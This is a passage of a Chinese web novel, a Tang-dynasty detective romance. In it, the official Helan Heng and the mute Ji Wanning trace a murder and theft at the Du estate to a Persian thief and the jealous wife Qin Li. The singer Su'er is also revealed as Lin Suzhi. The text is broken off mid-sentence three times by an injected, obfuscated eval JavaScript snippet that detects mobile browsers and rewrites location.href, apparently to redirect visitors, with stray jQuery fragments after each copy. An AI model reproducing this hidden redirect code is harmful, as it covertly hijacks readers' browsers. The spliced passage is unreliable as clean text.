她不是因为家中欠债才流落青楼的,她原是姚家七郎的婢女。
姚七郎从小就未曾将她当成下人,吃穿用度都尽可能地照顾她,还教她读书弹琴。那琵琶就是他所赠,那些字也是他亲手刻上去的,还给琴取名唤作“夙心”。
后来姚家给姚七郎寻了门绝好的亲事,姚七郎却因为素儿拒绝了,姚母盛怒之下瞒着儿子将素儿卖到了青楼。
季晚凝听后微微蹙眉,心想这个姚七郎待她虽好,但素儿为了他守口如瓶,不惜被当作杀人嫌犯,真的值得吗?
况且按律良贱不能通婚,姚七郎就算拒绝了婚事也不可能娶素儿,为此违逆父母反倒害了她。
素儿怕季晚凝不相信自己,恳求道:“天地为证,素儿所言俱是实话。七郎于我有救命之恩,还请娘子不要去姚府上求证。若不慎让他知道我被卖到了青楼,定会与母亲争执,徒生事端。”
季晚凝轻轻点了点头。
走出耳房,她随贺兰珩进了东厢房,这是杜耀安给他安排的闲置空房,用来谈事休憩。
贺兰珩阖上门问道:“素儿都说了什么?”
季晚凝拿出笔砚,将素儿所说概述了一遍,只是隐去了姚家的姓氏。
贺兰珩读完她写的满满一张纸,唇角微微勾起,心道短短一盏茶的工夫她就倒戈了。
“你不告诉我那郎君的姓氏,我又如何去查她所说真伪?”
季晚凝早知他会这么说,写道:“我有一法可验真伪。”
“说来看看。”
她继而写道:“遣我去寻那郎君求证。”
贺兰珩冷嗤一声,他算是看透了,她不放过任何一个可以自由出行的机会。
上回他故意放她出去,派人跟踪,被她机警地发现了,不过他已经猜到了她的目的,所以也不会再放她独自出门。
“从这里往返长安城要两个时辰,你回来时天都黑了,何况你如何能保证不跑?”
季晚凝用笔杆抵住下巴,抿了抿唇,他还是不相信她。
这时,北苍叩门进屋禀道:“属下已率人搜查了从后院到前堂的区域,没有找到死者的耳朵。另
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164455|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外属下发现有一个园子上了门锁,寻问了几个家丁,都顾左右而言他。还有一个重大发现……”
没待北苍说完,就听门外杜家管事火急火燎地跑进院来,冲杜耀安喊道:“杜郎,不好了……不好了!库房被盗了!”
“你说什么?!”杜耀安大惊失色,脸瞬间黑得像锅底一样。
“刚刚贺兰大理的侍卫在搜查时发现库房门被撬开了,于是老仆清点了一下财物,结果……结果点出来少了三百贯钱,还有珠宝首饰、火珠、夜光杯也丢了!昨日白天还好好的呢!”
杜耀安闻言脑子嗡地一下,差点一口气没喘上来,赶忙跑向库房。
三百贯钱不算什么,重要的是那些金玉珠玑,那是他祖父驰骋疆场一生,为朝廷卖命换来的!这狗贼倒是识货!
在确认了被窃之后,杜耀安蔫头耷脑地从库房里走出来,贺兰珩已经站在了门口。
杜耀安看见他就如同抓到了救命稻草,拽住他的袖口道:“贺兰卿,杜某对你的大名早有耳闻,都说你才智过人,颇受圣人器重,你一定要为杜某抓住这个狗贼啊!”
贺兰珩不着痕迹地甩掉了他的手,不咸不淡道:“徒有虚名而已,本官为朝廷办事,定当竭力而为,还请杜监丞好生配合。”
“这是自然,有什么需要杜某做的,尽管吩咐。”
方才贺兰珩听了侍卫的禀报后,基本已经打消了对素儿的怀疑,她若是凶犯,众人都看到她去找过榴香,身为最有嫌疑的人,她没必要再费尽心机把耳朵藏起来,多此一举。
有人新的线索,他推翻了先前的设想,做了新的推测,昨晚贼人潜入宅中行窃,不巧被榴香撞见,那人只得杀人灭口。可唯有这失踪的耳朵仍然说不通。
“杜监丞昨日可曾见过什么可疑之人?”贺兰珩问。
杜耀安回忆了片刻后摇摇头:“昨晚杜某和贵客们都在前堂,下人也大多厨房或是在厅堂里伺候。”
贺兰珩道:“后院那处上锁的园子可否劳烦杜监丞领本官前去查看一番。”
杜耀安神色一滞,道:“那是杜某祖父杜麟生前最后两年所住的园子,祠堂也设在了里面,恐怕不便让外人进去。不过请贺兰卿放心,那里已很久无人居住了。”
贺兰珩嗯了一声,他知道杜麟是战功累累、威名赫赫的大将军,杜耀安报出祖父名号就为了压制他。
他没再追问,又去耳房问询素儿。
素儿回想了片刻道:“妾在从榴香房间回前堂的路上,见过一个穿黑灰色衣服的家丁。”
“可还记得此人的相貌?”
“妾只看到个背影,看身量是个男子。对了,当时他好像还背着个包袱。”
素儿还不知道库房被窃的事,所以她的话极为可信,那包袱里装的想必就是赃物了。
“若是现在让你辨认贼人身量,你能认出来吗?”
“或许可以。”素儿点头。
贺兰珩即刻带着素儿去前堂认人。
厅堂里数十人聚在一起等候着,靳然正在和各家郎君投壶,下人们则三五成群凑在一起交头接耳聊着案情。
贺兰珩命所有男丁背对着素儿一字排开,素儿仔细瞧了又瞧,冲他摇头:“不在其中。”
贺兰珩颔首,若素儿记忆准确的话,那个背影应该是伪装成家丁的凶犯,现在已经逃出府了。
今日人手不足,只能明日再派人搜捕,可信息太少,搜起来如同大海捞针。
贺兰珩折返回后院,让管家安排了一间空置的客房给素儿,然后带上季晚凝去榴香的房间重新勘察一遍。
季晚凝跟在他身后迈进屋,撩开帷帽的纱网,就见一个女尸面色青紫,直挺挺地横在床榻上,耳朵缺了一只,双眼半阖空洞地望着上方,浓艳的妆容显得格外凄厉。
尽管心里有所准备,看到这一幕季晚凝仍然不禁头皮发麻。
17. 条件
贺兰珩打量着尸身:“素儿的嫌疑暂时排除了,真凶恐怕已经潜逃,看看能否找到什么蛛丝马迹,缩小搜查范围。”
季晚凝深深吸了口气,俯身仔细检查尸首,榴香身上没有其他的伤痕,唇口、指甲和鞋底等处都没有异常。割耳用的刀是粗木柄的,看不出指印来。
贺兰珩走到屋里唯一的窗子前查看,窗楣上隐约有踩踏的痕迹,他朝季晚凝挥了挥手,季晚凝凑到近前,看见了半枚脚印,准确地说只有半个前掌。
她蹲下来观察地面,石砖地本就难以留下明显的足迹,还被来来往往的人踩乱了。
贺兰珩往门口错了错身,给她腾地方。
季晚凝将整个屋子勘察过后,在纸上画出了几个残缺不全的鞋印,有大有小,纹路不一,不知凶犯是否在其中。
季晚凝仰起脸看向贺兰珩,不知道这个线索有没有用。
“杜家家丁穿的都是麻鞋,宾客们穿的则是丝鞋或靴子,此间是有区别的。”贺兰珩说道。
随后他派人采集了男丁的几种鞋印,拓在纸上,交给季晚凝。
季晚凝一一比对过后,发现她画的鞋印之中,有一对跟采集到的那几种都不一样。
她指给贺兰珩看,这个应当就是凶犯留下的。脚印不是很清晰,所以画得也不甚细致。
贺兰珩道:“再去外面看看还有没有更多的鞋印。”
院子里的足迹更加不可查,于是两人来到了库房,库房里来人少,积灰多,脚印更清晰。
季晚凝蹲在地上,细观这些交叠的足迹,在心里将它们的形状纹路分开来,排除了几个采集过的。
最后终于发现了三枚比较清晰完整的凶犯鞋印。
她顾不上那么多,立马掏出纸来伏在地上画出来给贺兰珩看。
他思索了少顷道:“像是软底靴。”
即使凶犯扮成家丁,鞋子也不一定会换,软底靴更便于逃跑。
季晚凝完成了自己的任务,收起笔纸从地上站起来,她今日出门急,还没吃过东西,又蹲了许久,起身的一刹那头晕目眩。
脚下一个踉跄,她伸手去抓旁边的柜橱,却抓了个空,身子往后倒下,忽然腰上触到一片温热,一只大手稳稳地托住了她。
等季晚凝站直身子,贺兰珩收回手道:“先去歇一下吧。”
穿过曲廊,两人在中庭的水榭里围桌坐下,不多时,家丁端来了丰盛的茶点。
有重阳必吃的汤饼、米锦糕,还有火晶柿子、酒糟蟹,季晚凝最想吃的还是玉露团,外形像玉兔般可爱,奶酥皮子薄得能透见里面裹的蜜馅。
季晚凝馋得不顾礼节,一气吃了四五个团子,蜜汁沾在她唇瓣上亮晶晶的。
有了七分饱,季晚凝再瞧盘子里只剩下一枚团子了,她抬眸偷觑贺兰珩,见他什么也没吃,只端着茶瓯倚在朱漆栏杆上,目光凝在亭外。
顺着他的视线看去,庭院里的景致颇好,湖中残荷半卷,褪去了盛夏的秾艳,却自有一番清寂风韵。
季晚凝懒懒地靠在栏杆上,此时已过了晌午,秋阳下波光柔柔,四周的林木交映在碧水中,亦深亦浅。
两只的影子投在水槛旁的地面上,一浓一淡,好似水墨。
她咬了一口团子,明眸倏然一亮。
是了!方才她怎么没注意到这点!
季晚凝来不及咽下糕点,摇了摇贺兰珩的袖口。
他转过头来,见她一双琉璃眼里熠熠生辉,两腮圆鼓鼓的,活像只偷藏了满嘴松子的松鼠。
“慢些吃。”贺兰珩眸光半垂道。
季晚凝低下头,用帕子擦拭了唇角,从算袋里翻出纸笔写道:“库房里的脚印比榴香房里的深。”
贺兰珩眸底倏尔一亮,凶犯携着沉甸甸的赃物,是以脚印才会更深!
他端着半盏冷茶的手缓缓落下,道:“也就是说,凶犯先杀了榴香,再入库房行窃。”
季晚凝点头赞同,如果背着包袱杀人,脚印不会明显比库房里的浅。
如此一来,先前的推测全然逆转。
凶犯事先潜伏在榴香屋中,等她躺下小憩,将她杀害后再去行窃,所以尸首没留下挣扎的痕迹。
那么凶犯不是因为被目击才灭口的,而是二人本就有仇,被割的耳朵也有了解释——泄恨。
且凶犯的行动干脆利索,他不仅认识榴香,还很可能是杜家熟人。
“我这就去找乐班问问。”贺兰珩撩袍起身,“你过会儿回东厢房等我。”
季晚凝目送他离开了水榭,踏踏实实地把剩下的点心都吃完了。
贺兰珩一一询问了乐班的人,却没人知道榴香和谁结过仇,口角之争虽有,但不至于起杀心。
苏娘坚称是惊鸿楼干的,要么就是求而不得的客人由爱生恨。
贺兰珩否定了这两种猜测,前者的话在平康坊下手更容易,至于后者,榴香没有被侵犯的痕迹,故而也说不通。
那么只剩下最后一种可能了。
杜耀安走在空荡荡的庭院里,在一处幽静的园子门前停下了脚步,掏出钥匙打开了锁头,随后直奔寝室。
他进了屋,左右张望,不出片刻,一个梳着螺髻、身着翠罗缕金的少妇慢悠悠地踱了出来,眼神冰冷,厚厚的朱粉也掩不住满脸的怒容。
她一脸嗤鄙道:“你来做什么?若不是来放我出去的,就快滚!”
“臭婆娘,昨晚的事是不是你做的?”杜耀安一边啐骂,一边在屋里不停地翻找着库房丢失的财物。
“昨晚什么事?”少妇神情泰然自若道。
“你还不知道?”杜耀安迟疑了一下。
“呵,我被禁足了一个月,这园子外发生了任何事我都一概不知!”
“你个妒妇,先前就是你杀死了莲奴,如今你是不是又杀死了榴香?!”杜耀安抄起香几上的铜炉砸在地上。
在一旁斟茶的婢女手不住地颤抖。
“榴香是谁?我不认识。”少妇抚了抚梳得一丝不苟的鬓角,一副事不关己的样子。
“罢了,我今日不是来兴师问罪的,你知不知道眼下大理卿正在府里查案?你告诉我实情,我才好护着你!”杜耀安强忍住怒气,“你我虽不和,但毕竟夫妻一体,你不要秦家的颜面,我杜家还要呢!”
少妇望着他,神色微动,随即又恢复了不屑的语气:“放心,这回处理得很干净,他找不到证据的。就算真有事,我阿耶自会帮我摆平,不用你们杜家操心。”
“好,你好自为之!”杜耀安说罢甩袖走了出去,将门狠狠撞上。
就在他怒火中烧冲出门时,窗侧的一个黑影忽地掠过,闪到了墙后。
黑影足尖点地,纵身翻出了墙外,轻盈落地后,抬手抚了抚微皱的长袍。
杜耀安气冲冲回到前堂,那几个贵客已经走了,只剩下靳然纹丝不动。
贺兰珩走进堂中,冲靳然道:“你还不回家?”
“我想去看看素儿,她定然受了不小的惊吓。”靳然又补了一句,“明日我就去崇文馆。”
靳长恺的几个儿子都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164456|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在军中,只有靳然这个幺子留在京师为质,他少年时就爱跟着贺兰珩射猎打毬,靳长恺便托贺兰珩帮他约束靳然,督促他好好念书。
贺兰珩睨了他一眼:“去吧。”
靳然翘起嘴角,起身朝后院走去。
“等等。”贺兰珩又把他叫住,耳语了几句。
靳然立时明白了他的用意,叫上一旁的杜耀安道:“杜兄,别愁眉苦脸的了,贺兰兄定能帮你找回财物,一起上后院听听曲儿如何?”
不等杜耀安反应,靳然就勾住他的肩出了厅堂。
把人支走以后,贺兰珩回到东厢房,季晚凝正坐着丝席上按揉酸痛的脚腕。
他径直走过去,俯身撑住在案沿上,身影笼着她半边身子,催促道:“走了,继续查案。”
季晚凝置若罔闻,她累得连眼皮都不想抬,过了半晌她才缓缓转过身,伏在案上提笔写道:“条件有二,一则恢复我的月钱,二则后衙采买事务归我负责。”
贺兰珩想也没想就驳回了:“赏赐必定不会少你,但赏什么、如何赏,由我来定。”
言讫,就见她小脸一沉,径自撂下笔,扭过身去留给他一个背影。
让她帮忙还一副强硬的态度,季晚凝盘算这是她最好的讲条件的机会,不能轻易放过,他既然想破案,而她是他唯一的杀手锏,她敢肯定他会退让。
贺兰珩走过去在她面前坐下,声音低徐:“我已经知道凶案主使是谁了。就在一个多月前,此人当街杀死了惊鸿楼的歌伎,出狱后又与人勾结杀死了榴香。
“不仅如此,就在上个月,此人在大理狱里串通牢头,给一个手无缚鸡之力的女囚用水刑。”
说到这里,季晚凝突然转过身来,掀起眼眸,眼底一团黯火熠熠而动。
“她姓秦,单名一个俪字,此刻就在宅院里。”
……
季晚凝来到秦俪的园子外,沿着墙根找到了凶犯的足迹,绕了半圈,脚印却消失了,延伸到了墙上。
贺兰珩跃上墙,墙头积灰多,很快他就发现了清晰的鞋印和手印,以及一处崭新的铁钩钩痕,应该是凶犯攀爬留下来的。
季晚凝不会翻墙,只能在下面望着他。这时她注意到地上有半截树枝,断口新鲜,应该是凶犯翻墙时不慎折断的,抬头望去,一个树杈上挂了一小片皮屑。
季晚凝敲敲墙壁,指给贺兰珩看。
贺兰珩小心翼翼地折下这段树枝,仔细观察后道:“是波斯的赤鹿皮,不是一般人家用得上的,但若是波斯行商,就不足为奇了。”
加上软底靴也是波斯人惯来爱穿的,基本上确定了凶犯的身份。
凶犯偷了杜家这些宝物,很难在京师脱手,很有可能已经潜逃出长安了。而出入城门要出示过所文书,缩小了凶犯的范围,明日遣差吏去排查一下检录即可。加之有鞋印和赃物为凭,将他绳之以法不在话下。
现在更为棘手的是给秦俪定罪。
凶犯与秦俪里应外合窃取杜家财产,而秦俪则借他之手杀了榴香,二人各取所需。可贺兰珩没有她参与犯案的证据。
他不能只因怀疑就逮捕她。秦父有吴尚书做靠山,杜耀安亦是名将之孙,朝中势力错综复杂,贺兰珩根基未稳,不能贸然出手。
还剩下最后一个疑点,解开这个疑点或许就是破案的关键。
贺兰珩思绪中的那方混沌渐渐有了轮廓,心念电转间,他想通了凶犯割掉耳朵的真正用意。
“回去吧。”他道。
证据马上就会找到了。
18. 同宿
山风轻拂,暮色四合。
今日是赶回不去长安城了,贺兰珩和靳然在杜耀安的招待下用了膳。
膳后,乐班在庭院里架琴抚弦,婉尔的歌声在夜幕中低回,众人却无心聆听。几曲过后,歌伎们也就将琴收了起来。
下人们由管家来安排,长随及侍卫已吃了饭回到各自的房里休息。
季晚凝则落了单,管家也犯愁,没有多余的下人房了,总不能让她跟那些男人挤一个屋。
这时碰巧素儿出来打水,看见她不知所措地站在院里,询问了管家才知她没有房间住。
她上前拉住季晚凝道:“娘子若是不嫌弃,就和妾凑合一晚吧。”
她温柔的声音让季晚凝心头一暖,她自然是愿意的。于是两人一起打了水回到房里盥洗。
素儿将水倒进盆里道:“娘子先来洗吧。”
季晚凝解开帷帽系带,露出一截玉雕般的下颌,继而整张脸如拨云见月般现了出来。
“原来娘子是如此一个美人!”素儿头回看清她的容貌,不由吟道,“神若清月,韵似幽兰,兰芳灵濯,玉莹尘清。”
季晚凝嫣然一笑,带着几分羞赧轻轻拍打了下她。
“对了,娘子可有将姚七郎的姓名告诉贺兰大理?”
见她摇头,素儿悬着的心落了地。
“多谢娘子。”她声音轻快,又道,“只可惜娘子不能言语,我还想问你怎么称呼呢。”
季晚凝只得无奈地冲她笑了笑。
素儿对她颇感亲切,便聊了起来:“娘子是贺兰卿的家生婢吗?”
季晚凝净过了脸,和她一同坐在床上,摇了摇头。
素儿用面巾擦拭着脸上残余的胭脂,轻声道:“我也不是姚家的家生婢,我家也并非欠了债,只是我不想同人说。”
她顿了顿,接着道:“其实家父是罪臣,当初我被没为宮奴,是姚七郎求他阿耶打点了刑部,将我偷偷买回府中,我才得以幸免于难。只可惜,家父已亡故,阿娘和妹妹现在还在掖庭宫里。”
季晚凝闻言心里一颤,一时间竟有种错觉,仿佛在听另一个自己诉说着身世。
“我和姚七郎本是娃娃亲,可家父出事之后,姚家哪还认我们的亲事。可七郎他倔得很,我多次劝他放弃,后来就……”
说到这儿素儿垂下眼帘,泪珠已悬在眼睫,颤巍巍地将落未落,哽咽道:“我也晓得身为奴籍,不该有非分之想。”
素儿从没将这些话跟别人说过,在心里憋了很久,遇见季晚凝才一股脑地倾诉出来,因为只有她能保守秘密。
“瞧我,刚相识了一天就同娘子说这么多,很失礼吧。”
季晚凝往素儿身边挪了挪,拉过她一只手,在她手心上写下了三个字,是自己的名字。
“季晚凝……这是娘子的名字吗?原来娘子竟识字!”
素儿之前怀疑她装哑,却没想到她识文断墨。她本以为自己是花无心莺自诉,却无意间却得了个知心人。
季晚凝握着她的手,能感到她无名指上抚琴留下的薄茧,她又在写道:“我不会告诉旁人的。”
素儿正要再说什么,就被门外响起的敲门声打断了,她抹干眼泪,起身去开门。
晚风中,贺兰珩清峻的身影立在檐下,衣袍猎猎。
季晚凝从门缝中瞥见他,俊美的面庞浸在银白色的月光里,一双凤眸好似藏着暗波,喜怒难辨。
她悻悻地走了过去。
素儿屈身解释道:“贺兰大理,因着没有空余的房间了,妾便留她宿在我这里。”
贺兰珩的目光越过素儿,看向季晚凝道:“你今晚随我住东厢房。”
季晚凝抿了抿唇,他的意思是让她贴身伺候?
素儿道:“既然贺兰卿这么说了,妾就不留娘子了。”
说罢不舍地拿起帷帽塞到她手上,季晚凝只得向她告别。
刚出了门,一个高大俊健的人影从游廊上朝着他们走过来。
靳然看见昏暗的灯光下,贺兰珩正和一个窈窕女郎站在门口,他阔步上前,对女郎关切道:“素儿,你还没歇下?”
说着他伸出手来要拉她,季晚凝吓了一跳,往贺兰珩身后缩了一缩。
贺兰珩敛眉,对靳然低声斥道:“起开。”
靳然定睛一瞧,他身后露出一截随风飘扬的裙摆,手里拿着顶帷帽。
他这才发现自己认错人了,原来是贺兰珩带来的那个婢女,他讪讪地朝她致了歉。
季晚凝戴上帷帽跟着贺兰珩往厢房走,回头望了眼,靳然还站在素儿房门口,那门却始终没开。
回到东厢房里,仆妇端了盆已经烧好的热水,放在里间的脸盆架上。
里间和外间用帘帐隔开,等人走了,只剩两只模糊的人影投在帘帐上。
季晚凝拘谨地挪到贺兰珩跟前,抬起手来,准备为他宽衣。
虽然她多年来寄人篱下,可她终究不是奴婢,尤其不知怎么伺候男人。
正在她不知手该往哪放的时候,贺兰珩道:“你先睡吧。”
随后撩帘进了里间。
帘帏轻晃,季晚凝微蜷的手指舒展开来,暗暗松了口气。既然他不用伺候,叫她来便是为了看着自己了。
她将外间的卧榻铺好,吹灭灯烛,合衣躺了下来,脑子里还在想着素儿,她应当也是官宦人家出身,不过是哪户人家还没来得及问。
季晚凝累极了,想着想着就陷入了黑甜乡。
帘帏之后,贺兰珩仰卧在床榻上,双目微阖,梳理着这一日的案情。
清风从窗牖疏疏地透进来,微弱的烛光随风影动。
更深露重,夜漏上水了一刻。
窗外的枝叶被吹得窸窸窣窣,还夹杂着咯吱咯吱的异响。
这异响好似近在咫尺,清晰可闻。
贺兰珩的思绪就此被扰乱,有些烦躁地睁开眼。
侧耳聆听了须臾,他起身下榻,掀开了帘帐。
帘子的那一侧,季晚凝正侧卧在榻上,裹着被子把自己团成一团睡得正香。
月华如水,淌过她欺霜赛雪的脸颊,将清丽的轮廓覆上了一层莹霜。
樱唇在月光下闪着光泽,不时蠕动着,发出细碎的声响,像夜里小动物啃啮食物的声音。
原来是在磨牙。
贺兰珩停留了片刻后,缓缓放下帘帐,试图回到被打断的思路里。
咯吱……咯吱……
他眉心微蹙,等过了这阵儿,还是得请赵太医来给她瞧瞧,连同着哑症一起。
贺兰珩睁开眼,穿过帘帐,轻推房门,直奔秦俪的院子。
……
晨曦透雾,浅金色的日光透过窗棂,悄然在室内铺开。
季晚凝先行醒来,昨日的疲惫已经一扫而光。
她一边梳洗,一边盘算着今日跟贺兰珩请示一下寄家书的事。
自打来了长安,她还没给季良报过平安,本来上个月就写好了,但因为那日贺兰珩冤枉了她,她就没一直没提这事。昨日她立了功,这时提他应该不会拒绝。
季晚凝在镜前绾好鬓发,仆妇送来了一盆热水。
这时贺兰珩也醒了,唤她进去服侍盥洗。
季晚凝掀开帘帐,将水盆端到净房,转过身,贺兰珩已经发冠齐整地走了进来,一袭素衫勾勒出宽肩窄腰的锋利骨形,修长俊挺。
她站在他跟前,身量堪堪到他的下颌。
季晚凝拿起巾帨,仰头对上了他清冷的视线,眉宇间透着股难以接近的疏离。
她的手微微一滞。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164457|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
随后低下头,小心翼翼地将巾帨掖进他的衣领里,以防洗漱时衣服被水沾湿。
贺兰珩似是察觉到了那一瞬的停顿,眼眸略微垂下来。
她一双黛眉如烟,扫入云鬓,细密的羽睫遮住了眼,被晨光镀上一层金箔,如蝶翼般轻缓地扇动着。
季晚凝纤细的指尖若有似无地沿着他的后颈滑至锁骨,再到前胸。
丝丝缕缕的痒意如蜻蜓点水掠过,贺兰珩移开视线,喉结微微滚动了一下。
季晚凝将巾帨整理好,往后退了一步。
等他盥洗过后,回到寝室,她从薰笼上拿起他的襕袍,踮着脚尖披在他身上。
又绕到身前,双手拢了拢衣襟。
贺兰珩在铜镜中看着她的背影,薄唇轻启,许是刚起的缘故,嗓音有些低哑。
“扣你的月钱,两年后一齐补上,我说过不会少你的月钱就不会少,届时再给你一间宅子。”
季晚凝望着他眨了眨眼睫,那为何不能现在给她?
她觉得问了也没用,这些日子以来,她发现贺兰珩这人时而好说话,时而又像铁板一块。
总归两年后能有个安身之所,给她吃了颗定心丸。
这时,东义叩门进来,见季晚凝正给郎君更衣,手里拿着蹀躞带。
这东西系起来讲究得很,他上前道:“我来吧。”
季晚凝顺势将腰带递给他,退了出去。
……
穿戴完毕后,贺兰珩吩咐侍卫即刻赶去大理寺,叫仵作和差吏过来。
随后他被管家请去了宴厅用朝食,北苍和东义也跟着男丁们一起去用膳了。
季晚凝只身去找素儿,乐班早就起来了,素儿见着她,笑盈盈地招了招手。
素儿拉着她一起坐在饭桌前,苏娘给季晚凝夹了一块米糕,道:“我听素儿说,娘子帮了她大忙,还了她清白,得好好感谢娘子和贺兰大理。”
季晚凝冲她微微笑了笑。
苏娘又转头对素儿道:“你也是,来了也有个把月了,怎地还不开窍?也不知对贺兰大理殷切些,连主动敬酒都不会。还有那靳四郎,可是节度使的儿子,我看他对你颇有些意思,有这么阔绰的一个贵人,下月的梳拢之礼不怕卖不上价钱了。”
季晚凝吃着米糕,停顿了一下,原来那个纨绔是靳长恺的儿子,她只听贺兰珩叫他四郎。
素儿顿时失了胃口,轻轻放下木箸,小声道了句:“素儿知道了,不过苏娘在闺阁娘子面前说这些恐怕失礼。”
“哎哟,怪我给忘了。”苏娘颇为不好意思道。
季晚凝半懂不懂,但也听得臊红了脸,她放下木箸看向素儿,素儿拉起她回了自己房里。
“让娘子看笑话了。”素儿关上房门,坐在榻沿上一脸赧然。
季晚凝摇了摇头,岔开了令她不悦的话题,拉过她的手描划,询问她的姓氏。
素儿现在已经很信任她,想了想也没什么不能告诉她的,便道:“我原姓林,闺名夙之。”
林……
季晚凝脑中豁然一亮,父亲的亲信下属,御史中丞就姓林!
林台丞当年跟父亲前后脚下了刑部监牢,后来听说被流放了,跟素儿昨晚说的一样。
她心潮涌动,攥着素儿的手微微颤抖。
素儿不明就里,疑惑道:“近来入秋了,娘子可是觉得冷了?”
季晚凝伸出手指,在她手心上郑重地写下了一个名字。
“娘子是如何知晓家父名讳的?!”素儿睁圆了眼睛,惊诧地看着她。
季晚凝迟疑了一下,然后写下:“我本姓陈。”
“莫非……莫非你是陈澍的女儿?”
素儿倏地哽住,双眼渐渐染红,将手一下子从季晚凝的手里抽了出来。
19. 联手
季晚凝怔住了,难道她也和世人一样,认为父亲有罪吗?
素儿双唇颤抖道:“我知道这不是你的错,但若你是陈澍的女儿,那么你与我就不是同道中人。陈澍连累我林氏家破人亡,我不能原谅他。”
听她义正辞严的一番话,季晚凝的眼眶也泛了红,垂下头来。
父亲入狱时,她还太过年幼,并不晓得发生了什么,后来从坊间听闻了不少关于父亲的传言,陈澍这个名字被反复唾骂。
她默默背负着罪臣遗女的身份,始终坚信父亲是无罪的,并非仅仅因为他是她的家人。
当时陈澍远赴边疆调查靳长恺,季羽等了很久才等到他的家书,拆开一看,却是一封和离书。
季晚凝看见母亲气恼地将信撕得粉碎。
后来陈澍回京,对季羽格外冷漠,连见都不见,并将一纸休书递到官府,指责她不孝婆母。
可阖府上下都知道,季羽和老夫人的婆媳关系向来和睦。老夫人疾病缠身,季羽日日在榻边照料,老夫人恰巧在陈澍离京之际病逝,这不是季羽的过错。
陈澍一贯温文尔雅、为人淳厚,与季羽鸾凤和鸣,京中谁人不羡。他不可能无端动了和离的念头,更不可能做出冤枉妻子的事来。
季羽心里明白,丈夫是摊上事了,肯定与陇右之行有关,他为了保住她才不得已这么做。
季羽素手一挥,写了一封奏状驳斥陈澍,最终官府判陈澍休妻理由不当,不予批准。
紧接着,父亲就下狱了,季晚凝曾问母亲:“阿耶真的是坏人吗?”
季羽坚定地告诉她:“若他真是坏人,就不会写休书了。”
思及此处,季晚凝从算袋里拿出笔砚,下榻伏案,将其中原委以及谶书的事与素儿一一道来。
素儿读后,思绪百转,心里有了一丝动摇。
季晚凝又写道:“相信我,我一定会查明真相的。”
素儿一面不敢置信,一面又期冀着若是真能翻案,不仅父亲能得以正名,掖庭的家人能放出来,自己也能脱离贱籍。
季晚凝看得出来她内心在矛盾,便不再相逼,温柔地写道:“我以后唤你夙之可好?”
林夙之轻轻攥了攥手,已经很久没人叫过她的闺名了,忽地心头一暖,泪水溢满了眼眶,滴涟涟地滑落。
两双柔弱无骨却历经过千磨万难的素手握在了一起。
突然,房门被推开了一条缝,苏娘探头看见地上两个女郎的背影,便直接踏进了屋里道:“贺兰大理来了。”
林夙之来不及整理仪容,灵机一动扑在季晚凝身上,泣不成声哭道:“娘子,我不愿卖身,求娘子帮帮我吧!”
苏娘一听这话,冲进来拎起她的衣领,啐骂道:“你怎地如此不知好歹!”
“明明是你们逼良为娼,欺人太甚!”
林夙之借着做戏将她平日隐忍之言一股脑地倾吐了出来,心里痛快了不少。
季晚凝趁乱将自己写的那张纸团成一团塞进袖中,随后配合地上前劝架。
正与苏娘拉扯之际,季晚凝余光瞧见贺兰珩,冷厉的视线中压着一片森冷的阴云。
“过来。”
他踏进屋里,威凛的语气让三人霎时间停了下来。
季晚凝好像只被捏住了后颈的猫,灰溜溜地朝他走过去。
贺兰珩的目光在她脸上逡巡,往下移动,定在了她那管略带异样的衣袖上。
“袖子里是什么?”
季晚凝下意识地拢了拢袖口。
他忽然上前,一把抓住了她的手腕,隔着衫子在她胳膊上一寸寸地摸索。
随即微凉的指尖探进了她的袖管,季晚凝像触了电似的,想挣开他,可他的手如同铁铸般的坚固。
贺兰珩很快就从她袖里搜出了一张素笺,松开她的手腕,将纸展开,只见上面写着——
君可否为我递一封家书?
季晚凝又羞又恼,嗔怒地瞪了他一眼,推了他一把,径自跑出了房间。
贺兰珩捏着素笺,紧绷的下颌线条松了松,转身出门,默默地跟在她身后。
不知为何他心底隐隐掠过一丝庆幸。
苏娘冲着贺兰珩的背影喊了好些恭维话,见他走远了,转头又骂了林夙之几句,让她赶紧收拾东西,准备回平康坊。
房门被苏娘撞上了,林夙之赶忙蹲下身,从床榻底下够出一张皱巴巴的纸来,方才她瞄见季晚凝趁乱丢进去的。
她点燃蜡烛,将纸一烧而尽。
……
仵作赶到了别墅,验过尸后,差吏将榴香的尸体抬上了木板车。
缉拿凶犯刻不容援,卫庚一大早接到贺兰珩侍卫的禀报后,立马去找城门监排查检录,锁定了一个最为可疑的波斯人。
他判断凶犯应当是南下了,于是派了一队捕吏快马去追。
